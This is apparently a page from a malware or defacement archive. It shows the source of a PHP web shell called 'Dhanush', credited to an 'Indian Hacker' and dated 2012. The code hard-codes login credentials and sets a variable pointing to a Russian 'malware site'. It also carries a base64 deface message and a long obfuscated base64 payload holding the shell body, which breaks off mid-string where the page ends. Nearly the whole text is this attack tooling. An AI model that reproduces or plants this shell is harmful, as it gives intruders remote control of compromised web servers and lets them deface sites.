Jump to:
Screenshot
Attributes
Emails
<?php
//========================================//
//========+++Dhanush+++==========//
//========================================//
//====+++Coded By Arjun+++===//
//========================================//
//=====+++An Indian Hacker+++=====//
//========================================//
//====Ashvin-2069/Oct-2012====//
// Set Username & Password
$user = "Dhanush";
$pass = "Dhanush";
$malsite = "http://fightagent.ru";
// Malware Site
$ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ==";
// "Deface Page" Base64 encoded "You Just Got Hacked !!"
$bhrt = "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